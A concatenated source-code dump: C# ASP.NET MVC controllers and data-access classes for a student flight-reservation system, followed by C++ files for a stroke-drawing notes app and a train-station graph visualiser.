ViewBag.AvionV = avion_list;
}
public void Enlazar_Aerolinea()
{
DataSet ds = bd_v.Obtener_Aerolinea();
List<SelectListItem> aerolinea_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
aerolinea_list.Add(new SelectListItem { Text = dr["nombre_aerolinea"].ToString(), Value = dr["id_aerolinea"].ToString() });
}
ViewBag.AerolineaV = aerolinea_list;
}
public void Enlazar_Tip_Vuelo()
{
DataSet ds = bd_v.Obtener_Tip_Vuelo();
List<SelectListItem> t_vuelo_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
t_vuelo_list.Add(new SelectListItem { Text = dr["tipo_vuelo"].ToString(), Value = dr["id_tip_vuelo"].ToString() });
}
ViewBag.TipoV = t_vuelo_list;
}
public void Enlazar_Pais_V()
{
DataSet ds = bd_v.Obtener_Pais_V();
List<SelectListItem> pais_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
pais_list.Add(new SelectListItem { Text = dr["nombre_pais"].ToString(), Value = dr["id_pais"].ToString() });
}
ViewBag.Pais_V = pais_list;
}
public void Enlazar_Pais_V2()
{
DataSet ds = bd_v.Obtener_Pais_V();
List<SelectListItem> pais_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
pais_list.Add(new SelectListItem { Text = dr["nombre_pais"].ToString(), Value = dr["id_pais"].ToString() });
}
ViewBag.Pais_V2 = pais_list;
}
public JsonResult Enlazar_Ciudad_V(string id_pais)
{
DataSet ds = bd_v.Obtener_Ciudad_V(id_pais);
List<SelectListItem> ciudad_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
ciudad_list.Add(new SelectListItem { Text = dr["nombre_ciudad"].ToString(), Value = dr["id_ciudad"].ToString() });
}
return Json(ciudad_list, JsonRequestBehavior.AllowGet);
}
public JsonResult Enlazar_Aeropuerto_V(string id_ciudad)
{
DataSet ds = bd_v.Obtener_Aeropuerto_V(id_ciudad);
List<SelectListItem> aer_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
aer_list.Add(new SelectListItem { Text = dr["nombre_aeropuerto"].ToString(), Value = dr["id_aeropuerto"].ToString() });
}
return Json(aer_list, JsonRequestBehavior.AllowGet);
}
//Mantenimientos de vuelos
//Mostrar la informacion
public JsonResult List_Vuelo()
{
return Json(bd_v.Mostrar_Vuelos(), JsonRequestBehavior.AllowGet);
}
//Ingresar registros
public JsonResult Add_Vuelo(Vuelos v)
{
return Json(bd_v.Insert_Vuelo(v), JsonRequestBehavior.AllowGet);
}
//Mostrar por ID
public JsonResult MostrarPorID_V(int ID)
{
var Vuelos = bd_v.Mostrar_Vuelos_V().Find(x => x.Vuelo_ID.Equals(ID));
return Json(Vuelos, JsonRequestBehavior.AllowGet);
}
//Actualizar vuelos
public JsonResult Update_Vuelo(Vuelos v)
{
return Json(bd_v.Update_Vuelo(v), JsonRequestBehavior.AllowGet);
}
//Eliminar vuelos
public JsonResult Delete_Vuelo(int ID)
{
return Json(bd_v.Delete_Vuelo(ID), JsonRequestBehavior.AllowGet);
}
//--------------------------------------------Avion-------------------------------------------------------------//
Avion_BD bd_av = new Avion_BD();
public ActionResult Aviones()
{
return View();
}
//Mostrar
public JsonResult List_Avion()
{
return Json(bd_av.Mostrar_Avion(), JsonRequestBehavior.AllowGet);
}
//Insertar
public JsonResult Add_Avion(Avion av)
{
return Json(bd_av.Insert_Avion(av), JsonRequestBehavior.AllowGet);
}
//Mostar por ID
public JsonResult MostrarPorID_AV(int ID)
{
var Avion = bd_av.Mostrar_Avion().Find(x => x.AvionID.Equals(ID));
return Json(Avion, JsonRequestBehavior.AllowGet);
}
//Actualizar
public JsonResult Update_Avion(Avion av)
{
return Json(bd_av.Update_Avion(av), JsonRequestBehavior.AllowGet);
}
//Eliminar
public JsonResult Delete_Avion(int ID)
{
return Json(bd_av.Delete_Avion(ID), JsonRequestBehavior.AllowGet);
}
//--------------------------------------------Aerolineas-------------------------------------------------------------//
Aerolinea_BD bd_aer = new Aerolinea_BD();
public ActionResult Aerolineas()
{
return View();
}
//Mostrar
public JsonResult List_Aerolinea()
{
return Json(bd_aer.Mostrar_Aerolinea(), JsonRequestBehavior.AllowGet);
}
//Insertar
public JsonResult Add_Aerolinea(Aerolineas aer)
{
return Json(bd_aer.Insert_Aerolinea(aer), JsonRequestBehavior.AllowGet);
}
//Mostar por ID
public JsonResult MostrarPorID_AE(int ID)
{
var Aerolinea = bd_aer.Mostrar_Aerolinea().Find(x => x.Aerolinea_ID.Equals(ID));
return Json(Aerolinea, JsonRequestBehavior.AllowGet);
}
//Actualizar
public JsonResult Update_Aerolinea(Aerolineas aer)
{
return Json(bd_aer.Update_Aerolinea(aer), JsonRequestBehavior.AllowGet);
}
//Eliminar
public JsonResult Delete_Aerolinea(int ID)
{
return Json(bd_aer.Delete_Aerolinea(ID), JsonRequestBehavior.AllowGet);
}
//--------------------------------------------Estado Vuelo-------------------------------------------------------------//
Estado_Vuelos_BD bd_est = new Estado_Vuelos_BD();
public ActionResult Estado_Vuelo()
{
return View();
}
//Mostrar
public JsonResult List_Estado_Vuelo()
{
return Json(bd_est.Mostrar_Estado_Vuelos(), JsonRequestBehavior.AllowGet);
}
//Insertar
public JsonResult Add_Estado_Vuelo(Estado_Vuelo est)
{
return Json(bd_est.Insert_Estado_Vuelo(est), JsonRequestBehavior.AllowGet);
}
//Mostrar por ID
public JsonResult MostrarPorID_EV(int ID)
{
var Estados_Vuelos = bd_est.Mostrar_Estado_Vuelos().Find(x => x.Estado_ID.Equals(ID));
return Json(Estados_Vuelos, JsonRequestBehavior.AllowGet);
}
//Actualizar
public JsonResult Update_Estado_Vuelo(Estado_Vuelo est)
{
return Json(bd_est.Update_Estado_Vuelo(est), JsonRequestBehavior.AllowGet);
}
//Eliminar
public JsonResult Delete_Estado_Vuelo(int ID)
{
return Json(bd_est.Delete_Estado_Vuelo(ID), JsonRequestBehavior.AllowGet);
}
//--------------------------------------------Pais-------------------------------------------------------------//
Pais_BD bd_p = new Pais_BD();
public ActionResult Pais()
{
return View();
}
//Mostrar
public JsonResult List_Pais()
{
return Json(bd_p.Mostrar_Pais(), JsonRequestBehavior.AllowGet);
}
//Insertar
public JsonResult Add_Pais(Pais p)
{
return Json(bd_p.Insert_Pais(p), JsonRequestBehavior.AllowGet);
}
//Mostrar por ID
public JsonResult MostrarPorID_P(int ID)
{
var Ciudad = bd_p.Mostrar_Pais().Find(x => x.Pais_ID.Equals(ID));
return Json(Ciudad, JsonRequestBehavior.AllowGet);
}
//Actualizar
public JsonResult Update_Pais(Pais p)
{
return Json(bd_p.Update_Pais(p), JsonRequestBehavior.AllowGet);
}
//Eliminar
public JsonResult Delete_Pais(int ID)
{
return Json(bd_p.Delete_Pais(ID), JsonRequestBehavior.AllowGet);
}
//--------------------------------------------Pais-------------------------------------------------------------//
Ciudad_BD bd_c = new Ciudad_BD();
public ActionResult Ciudad()
{
Enlazar_Pais();
return View();
}
//Mostrar
public JsonResult List_Ciudad()
{
return Json(bd_c.Mostrar_Ciudad(), JsonRequestBehavior.AllowGet);
}
//Insertar
public JsonResult Add_Ciudad(Ciudad c)
{
return Json(bd_c.Insert_Ciudad(c), JsonRequestBehavior.AllowGet);
}
//Mostrar por ID
public JsonResult MostrarPorID_C(int ID)
{
var Ciudad = bd_c.Mostrar_Ciudad().Find(x => x.Ciudad_ID.Equals(ID));
return Json(Ciudad, JsonRequestBehavior.AllowGet);
}
//Actualizar
public JsonResult Update_Ciudad(Ciudad c)
{
return Json(bd_c.Update_Ciudad(c), JsonRequestBehavior.AllowGet);
}
//Eliminar
public JsonResult Delete_Ciudad(int ID)
{
return Json(bd_c.Delete_Ciudad(ID), JsonRequestBehavior.AllowGet);
}
//Llenar Combo box
public void Enlazar_Pais()
{
DataSet ds = bd_c.Obtener_Pais();
List<SelectListItem> pais_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
pais_list.Add(new SelectListItem { Text = dr["nombre_pais"].ToString(), Value = dr["id_pais"].ToString() });
}
ViewBag.Pais = pais_list;
}
//--------------------------------------------Aeropuerto-------------------------------------------------------------//
Aeropuerto_BD bd_aero = new Aeropuerto_BD();
public ActionResult Aeropuerto()
{
Enlazar_Pais();
return View();
}
//Lamar cbo de ciudad
public JsonResult Enlazar_Ciudad(string id_pais)
{
DataSet ds = bd_aero.Obtener_Ciudad(id_pais);
List<SelectListItem> ciudad_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
ciudad_list.Add(new SelectListItem { Text = dr["nombre_ciudad"].ToString(), Value = dr["id_ciudad"].ToString() });
}
return Json(ciudad_list, JsonRequestBehavior.AllowGet);
}
//Mostrar
public JsonResult List_Aeropuerto()
{
return Json(bd_aero.Mostrar_Aeropuerto(), JsonRequestBehavior.AllowGet);
}
//Insertar
public JsonResult Add_Aeropuerto(Aeropuerto aero)
{
return Json(bd_aero.Insert_Aeropuerto(aero), JsonRequestBehavior.AllowGet);
}
//Mostrar por ID
public JsonResult MostrarPorID_AER(int ID)
{
var Aeropuerto = bd_aero.Mostrar_Aeropuerto().Find(x => x.Aeropuerto_ID.Equals(ID));
return Json(Aeropuerto, JsonRequestBehavior.AllowGet);
}
//Actualizar
public JsonResult Update_Aeropuerto(Aeropuerto aero)
{
return Json(bd_aero.Update_Aeropuerto(aero), JsonRequestBehavior.AllowGet);
}
//Eliminar
public JsonResult Delete_Aeropuerto(int ID)
{
return Json(bd_aero.Delete_Aeropuerto(ID), JsonRequestBehavior.AllowGet);
}
}
}<file_sep>/Models/Reserva.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Reserva
{
//Para la busqueda
public string Fec_Vuelo { get; set; }
public string Fec_Vuelo_E { get; set; }
public int Ciudad_ID { get; set; }
public int Tipo_Vuelo_ID { get; set; }
//Para mostrar
public int ID_Vuelo { get; set; }
public string Vuelo_COD { get; set; }
public string Aerolinea { get; set; }
public string Tip_Vuelo { get; set; }
public string H_Salida { get; set; }
public string L_Salida { get; set; }
public string Ciudad { get; set; }
public string Fec_Llegada { get; set; }
public string L_Llegada { get; set; }
public string H_Llegada { get; set; }
public string Duracion { get; set; }
public string Precio { get; set; }
public decimal Price { get; set; }
public int Login_ID { get; set; }
public string Contacto { get; set; }
public string Tel_Contacto { get; set; }
public int Cantidad_P { get; set; }
public decimal Price_Total { get; set; }
public int Estado_Reserva_V { get; set; }
public string Estado_Reserva { get; set; }
public string Fec_Reserva{ get; set; }
public string Price_R{ get; set; }
public int ID_Reserva { get; set; }
}
}<file_sep>/Models/Pais_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Pais_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Mostrar Pais
public List<Pais> Mostrar_Pais()
{
List<Pais> lst = new List<Pais>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_pais", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Pais
{
Pais_ID = Convert.ToInt32(dr["id_pais"]),
Nombre_Pais = dr["nombre_pais"].ToString()
});
}
return lst;
}
}
//Insert Pais
public int Insert_Pais(Pais p)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_pais", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@nombre", p.Nombre_Pais);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Update pais
public int Update_Pais(Pais p)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_pais", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", p.Pais_ID);
cmd.Parameters.AddWithValue("@nombre", p.Nombre_Pais);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Delete pais
public int Delete_Pais(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_pais", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
}
}<file_sep>/Models/Vuelos_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Vuelos_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Combobox enlazados con la base de datos
public DataSet Obtener_Avion()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select id_avion,nombre_avion from Aviones order by nombre_avion asc", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public DataSet Obtener_Aerolinea()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select id_aerolinea,nombre_aerolinea from Aerolinea order by nombre_aerolinea asc", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public DataSet Obtener_Tip_Vuelo()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select id_tip_vuelo,tipo_vuelo from Tipo_Vuelo order by tipo_vuelo asc", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public DataSet Obtener_Pais_V()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Pais order by nombre_pais asc ", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public DataSet Obtener_Ciudad_V(string id_pais)
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Ciudad where id_pais=@id_pais", con);
cmd.Parameters.AddWithValue("@id_pais", id_pais);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public DataSet Obtener_Aeropuerto_V(string id_ciudad)
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Aeropuerto where id_ciudad=@id_ciudad", con);
cmd.Parameters.AddWithValue("@id_ciudad", id_ciudad);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public DataSet Obtener_Estado_Vuelo()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select id_estado_vuelo,nombre_estado from Estado_Vuelo order by nombre_estado asc", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
//Mantenimientos de la tabla de vuelos
public List<Vuelos> Mostrar_Vuelos()
{
List<Vuelos> lst = new List<Vuelos>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_vuelo_v", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Vuelos
{
Vuelo_ID = Convert.ToInt32(dr["id_vuelo"]),
Cod_Vuelo = dr["cod_vuelo"].ToString(),
Avion = dr["nombre_avion"].ToString(),
Aerolinea = dr["nombre_aerolinea"].ToString(),
Tipo_Vuelo = dr["tipo_vuelo"].ToString(),
Asientos_D = Convert.ToInt32(dr["asientos_disponibles"]),
Fec_Vuelo = dr["fec_vuelo"].ToString(),
Hora_S= dr["hora_salida"].ToString(),
Lugar_S = dr["lugar_salida"].ToString(),
Fec_Vuelo_L = dr["fec_llegada"].ToString(),
Hora_L = dr["hora_llegada"].ToString(),
Pais = dr["nombre_pais"].ToString(),
Lugar_Llegada = dr["lugar_llegada"].ToString(),
Duracion_Vuelo = dr["duracion_vuelo"].ToString(),
Precio_Vuelo_V = dr["precio_vuelo"].ToString(),
Estado_Vuelo = dr["nombre_estado"].ToString(),
Usuario = dr["Username"].ToString()
});
}
return lst;
}
}
//Mostar vuelos para modificar
public List<Vuelos> Mostrar_Vuelos_V()
{
List<Vuelos> lst = new List<Vuelos>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_vuelos", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Vuelos
{
Vuelo_ID = Convert.ToInt32(dr["id_vuelo"]),
Cod_Vuelo = dr["cod_vuelo"].ToString(),
Avion_ID = Convert.ToInt32(dr["id_avion"]),
Aerolinea_ID = Convert.ToInt32(dr["id_aerolinea"]),
Tipo_Vuelo_ID = Convert.ToInt32(dr["id_tip_vuelo"]),
Asientos_D = Convert.ToInt32(dr["asientos_disponibles"]),
Fec_Vuelo = dr["fec_vuelo"].ToString(),
Hora_S = dr["hora_salida"].ToString(),
Lugar_S = dr["lugar_salida"].ToString(),
Fec_Vuelo_L = dr["fec_llegada"].ToString(),
Hora_L = dr["hora_llegada"].ToString(),
Lugar_L = Convert.ToInt32(dr["lugar_llegada"]),
Duracion_Vuelo = dr["duracion_vuelo"].ToString(),
Precio_Vuelo_V = dr["precio_vuelo"].ToString(),
Estado_Vuelo_ID = Convert.ToInt32(dr["id_estado_vuelo"]),
Login_ID = Convert.ToInt32(dr["LoginID"])
});
}
return lst;
}
}
//Insertar vuelos
public int Insert_Vuelo(Vuelos v)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_vuelo", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@cod", v.Cod_Vuelo);
cmd.Parameters.AddWithValue("@avion", v.Avion_ID);
cmd.Parameters.AddWithValue("@aerolinea", v.Aerolinea_ID);
cmd.Parameters.AddWithValue("@tipo_vuelo", v.Tipo_Vuelo_ID);
cmd.Parameters.AddWithValue("@asientos", v.Asientos_D);
cmd.Parameters.AddWithValue("@fecha_vuelo", v.Fec_Vuelo);
cmd.Parameters.AddWithValue("@hora_salida", v.Hora_S);
cmd.Parameters.AddWithValue("@lugar_salida", v.Lugar_S);
cmd.Parameters.AddWithValue("@fecha_llegada", v.Fec_Vuelo_L);
cmd.Parameters.AddWithValue("@hora_llegada", v.Hora_L);
cmd.Parameters.AddWithValue("@lugar_llegada", v.Lugar_L);
cmd.Parameters.AddWithValue("@duracion_vuelo", v.Duracion_Vuelo);
cmd.Parameters.AddWithValue("@estado_vuelo", v.Estado_Vuelo_ID);
cmd.Parameters.AddWithValue("@precio", v.Precio_Vuelo);
cmd.Parameters.AddWithValue("@login_id", v.Login_ID);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Actualizar vuelos
public int Update_Vuelo(Vuelos v)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_vuelo", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", v.Vuelo_ID);
cmd.Parameters.AddWithValue("@cod", v.Cod_Vuelo);
cmd.Parameters.AddWithValue("@avion", v.Avion_ID);
cmd.Parameters.AddWithValue("@aerolinea", v.Aerolinea_ID);
cmd.Parameters.AddWithValue("@tipo_vuelo", v.Tipo_Vuelo_ID);
cmd.Parameters.AddWithValue("@asientos", v.Asientos_D);
cmd.Parameters.AddWithValue("@fecha_vuelo", v.Fec_Vuelo);
cmd.Parameters.AddWithValue("@hora_salida", v.Hora_S);
cmd.Parameters.AddWithValue("@lugar_salida", v.Lugar_S);
cmd.Parameters.AddWithValue("@fecha_llegada", v.Fec_Vuelo_L);
cmd.Parameters.AddWithValue("@hora_llegada", v.Hora_L);
cmd.Parameters.AddWithValue("@lugar_llegada", v.Lugar_L);
cmd.Parameters.AddWithValue("@duracion_vuelo", v.Duracion_Vuelo);
cmd.Parameters.AddWithValue("@estado_vuelo", v.Estado_Vuelo_ID);
cmd.Parameters.AddWithValue("@precio", v.Precio_Vuelo);
cmd.Parameters.AddWithValue("@login_id", v.Login_ID);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Eliminar vuelos
public int Delete_Vuelo(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_vuelo", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
}
}<file_sep>/Controllers/UsuarioController.cs
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Sistema_RV.Models;
namespace Sistema_RV.Controllers
{
[Authorize(Roles = "Usuario")]
public class UsuarioController : Controller
{
// GET: Usuario
public ActionResult Usuario()
{
return View();
}
Reserva_BD bd_r = new Reserva_BD();
public ActionResult Reservas()
{
Enlazar_Tip_Vuelo_R();
Enlazar_Pais_R();
return View();
}
//Onbtener el pais combobox
public void Enlazar_Pais_R()
{
DataSet ds = bd_r.Obtener_Pais_R();
List<SelectListItem> pais_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
pais_list.Add(new SelectListItem { Text = dr["nombre_pais"].ToString(), Value = dr["id_pais"].ToString() });
}
ViewBag.Pais_R = pais_list;
}
//Obtener la ciudad
public JsonResult Enlazar_Ciudad_R(string id_pais)
{
DataSet ds = bd_r.Obtener_Ciudad_R(id_pais);
List<SelectListItem> ciudad_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
ciudad_list.Add(new SelectListItem { Text = dr["nombre_ciudad"].ToString(), Value = dr["id_ciudad"].ToString() });
}
return Json(ciudad_list, JsonRequestBehavior.AllowGet);
}
//Obtener el tipo de vuelo en combobox
public void Enlazar_Tip_Vuelo_R()
{
DataSet ds = bd_r.Obtener_Tip_Vuelo();
List<SelectListItem> t_vuelo_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
t_vuelo_list.Add(new SelectListItem { Text = dr["tipo_vuelo"].ToString(), Value = dr["id_tip_vuelo"].ToString() });
}
ViewBag.TipoV_R = t_vuelo_list;
}
//Lista por filtro
public JsonResult List_Vuelos_B(Reserva r)
{
return Json(bd_r.Mostrar_Vuelos_R(r), JsonRequestBehavior.AllowGet);
}
//Mostrar por ID
public JsonResult MostrarPorID_V_R(int ID)
{
var Vuelos = bd_r.Mostrar_Vuelos_R_T().Find(x => x.ID_Vuelo.Equals(ID));
return Json(Vuelos, JsonRequestBehavior.AllowGet);
}
//Insertar reserva
public JsonResult Add_Reserva_V(Reserva r)
{
return Json(bd_r.Insert_Reserva(r), JsonRequestBehavior.AllowGet);
}
//Mis reservas
public ActionResult Mis_Reservas()
{
return View();
}
public JsonResult List_Reservas()
{
return Json(bd_r.Mostrar_Reservas(), JsonRequestBehavior.AllowGet);
}
}
} | 5a185cfbecd354e47f63ab63d46a38ac860cc0ec | [
"JavaScript",
"C#"
] | 26 | JavaScript | Martinez-Kevin/Sistema_RV---Proyecto-Final | 7d0611573d0d838be618075d308767723b431db3 | 71b54ceb729611fd49741395e384a86273221834 |
refs/heads/main | <file_sep>#include "LineStroke.hpp"
#include <nanovg.h>
#include <algorithm>
namespace notes {
LineStroke::LineStroke(Colour colour) : minX(0.0f), minY(0.0f), maxX(0.0f), maxY(0.0f), colour(colour) {}
LineStroke::LineStroke() : minX(0.0f), minY(0.0f), maxX(0.0f), maxY(0.0f), colour() {}
void LineStroke::draw(NVGcontext* vg) {
if (vertices.size() == 1) {
nvgFillColor(vg, nvgRGBA(colour.r, colour.g, colour.b, colour.a));
nvgBeginPath(vg);
nvgArc(vg, vertices[0].x, vertices[0].y, 2.0f, 0.0f, 3.14159265f, 0);
nvgFill(vg);
return;
}
nvgStrokeColor(vg, nvgRGBA(colour.r, colour.g, colour.b, colour.a));
if (vertices.size() == 2) {
// draw a simple not smooth line
nvgBeginPath(vg);
nvgMoveTo(vg, vertices[0].x, vertices[0].y);
for (size_t i = 1; i < vertices.size(); i++) {
nvgLineTo(vg, vertices[1].x, vertices[1].y);
}
nvgStroke(vg);
return;
}
nvgBeginPath(vg);
nvgMoveTo(vg, vertices[0].x, vertices[0].y);
for (auto it = vertices.begin() + 1; it != vertices.end() - 2; it++) {
auto& vert = *it;
auto& nextVert = *(it + 1);
float c = (vert.x + nextVert.x) * 0.5f;
float d = (vert.y + nextVert.y) * 0.5f;
nvgQuadTo(vg, vert.x, vert.y, c, d);
}
auto secondToLastVert = vertices.end() - 2;
auto finalVert = vertices.end() - 1;
nvgQuadTo(vg, secondToLastVert->x, secondToLastVert->y, finalVert->x, finalVert->y);
nvgStroke(vg);
}
bool LineStroke::cullAgainstScreen(int sX, int sY, int sWidth, int sHeight) {
int sMinX = sX;
int sMinY = sY;
int sMaxX = sX + sWidth;
int sMaxY = sY + sHeight;
return !(minX > sMaxX ||
maxX < sMinX ||
minY > sMaxY ||
maxY < sMinY);
}
void LineStroke::drawAABB(NVGcontext* vg) {
nvgBeginPath(vg);
nvgRect(vg, minX, minY, maxX - minX, maxY - minY);
nvgStroke(vg);
}
void LineStroke::addVert(LineVert&& vert) {
vertices.emplace_back(vert);
if (vertices.size() > 1) {
maxX = std::max(maxX, vert.x);
maxY = std::max(maxY, vert.y);
minX = std::min(minX, vert.x);
minY = std::min(minY, vert.y);
} else {
maxX = vert.x;
maxY = vert.y;
minX = vert.x;
minY = vert.y;
}
}
void LineStroke::serialize(FILE* file) {
fwrite(&colour, sizeof(colour), 1, file);
int vertCount = vertices.size();
fwrite(&vertCount, sizeof(vertCount), 1, file);
fwrite(vertices.data(), sizeof(LineVert), vertices.size(), file);
}
void LineStroke::deserialize(FILE* file) {
fread(&colour, sizeof(colour), 1, file);
int vertCount = 0;
fread(&vertCount, sizeof(vertCount), 1, file);
vertices.resize(vertCount);
fread(vertices.data(), sizeof(LineVert), vertCount, file);
maxX = vertices[0].x;
minX = vertices[0].x;
maxY = vertices[0].y;
minY = vertices[0].y;
for (size_t i = 1; i < vertices.size(); i++) {
maxX = std::max(maxX, vertices[i].x);
maxY = std::max(maxY, vertices[i].y);
minX = std::min(minX, vertices[i].x);
minY = std::min(minY, vertices[i].y);
}
}
}
<file_sep>#include <glad.h>
#include <SDL2/SDL.h>
#include <SDL2/SDL_opengl.h>
#include <SDL2/SDL_scancode.h>
#include <nanovg.h>
#define NANOVG_GL3_IMPLEMENTATION
#include <nanovg_gl.h>
#include <SDL2/SDL_mouse.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <stdio.h>
#include "TrainStation.hpp"
#include "Map.hpp"
#include <iostream>
#include "DfsRoutine.hpp"
#include "BfsRoutine.hpp"
SDL_GLContext glContext;
SDL_Window* window;
NVGcontext* vg;
int lastLineX, lastLineY;
int width, height;
float offsetX, offsetY = 0.0f;
int lastMX, lastMY;
float zoom = 5.0f;
Map* map;
std::vector<std::vector<bool>> linkInRoute;
size_t inputStationIndex() {
size_t stationIndex = INVALID_STATION;
bool err = false;
while (stationIndex == INVALID_STATION) {
if (err)
fprintf(stderr, "Invalid station! Try again:\n");
char buf[256];
fscanf(stdin, "%s", buf);
stationIndex = map->getStationIndex(buf);
if (stationIndex == INVALID_STATION) err = true;
}
return stationIndex;
}
BfsRoutine* currRoutine = nullptr;
BfsState* dfsState = new BfsState;
void drawStationLabels() {
nvgTextAlign(vg, NVG_ALIGN_CENTER | NVG_ALIGN_MIDDLE);
for (auto& station : map->stations) {
float x = (station.x + offsetX) * zoom;
float y = (station.y + offsetY - 2) * zoom;
// draw station name background
float bounds[4];
nvgTextBounds(vg, x,y, station.name.c_str(), NULL, bounds);
nvgBeginPath(vg);
nvgFillColor(vg, nvgRGBA(0, 0, 0, 100));
nvgRoundedRect(vg, bounds[0],bounds[1], bounds[2]-bounds[0], bounds[3]-bounds[1], 2.0f);
nvgFill(vg);
nvgFillColor(vg, nvgRGBA(127, 255, 127, 255));
nvgText(vg,
(station.x + offsetX) * zoom,
(station.y + offsetY - 2) * zoom, station.name.c_str(), nullptr);
}
nvgTextAlign(vg, NVG_ALIGN_LEFT | NVG_ALIGN_MIDDLE);
}
void drawLinks(TrainStation* station) {
Link* currLink = station->links;
while (currLink) {
auto normalColor = nvgRGBA(255, 255, 255, 127);
auto travelledColor = nvgRGBA(0, 0, 255, 127);
nvgStrokeColor(vg, normalColor);
nvgBeginPath(vg);
nvgMoveTo(vg, station->x, station->y);
nvgLineTo(vg, currLink->to->x, currLink->to->y);
nvgStroke(vg);
currLink = currLink->next;
}
}
void drawStationsAndLinks() {
nvgScale(vg, zoom, zoom);
nvgTranslate(vg, offsetX, offsetY);
size_t i = 0;
for (auto& station : map->stations) {
nvgFillColor(vg, nvgRGBA(station.visited ? 0 : 255, station.visited ? 0 : 255, 255, 255));
if (dfsState->currentStation == &station && currRoutine)
nvgFillColor(vg, nvgRGBA(0, 255, 0, 255));
nvgBeginPath(vg);
nvgArc(vg, station.x, station.y, (dfsState->currentStation == &station && currRoutine) ? 2.0f : 0.5f, 0.0f, 2.0f * NVG_PI, NVG_CW);
nvgFill(vg);
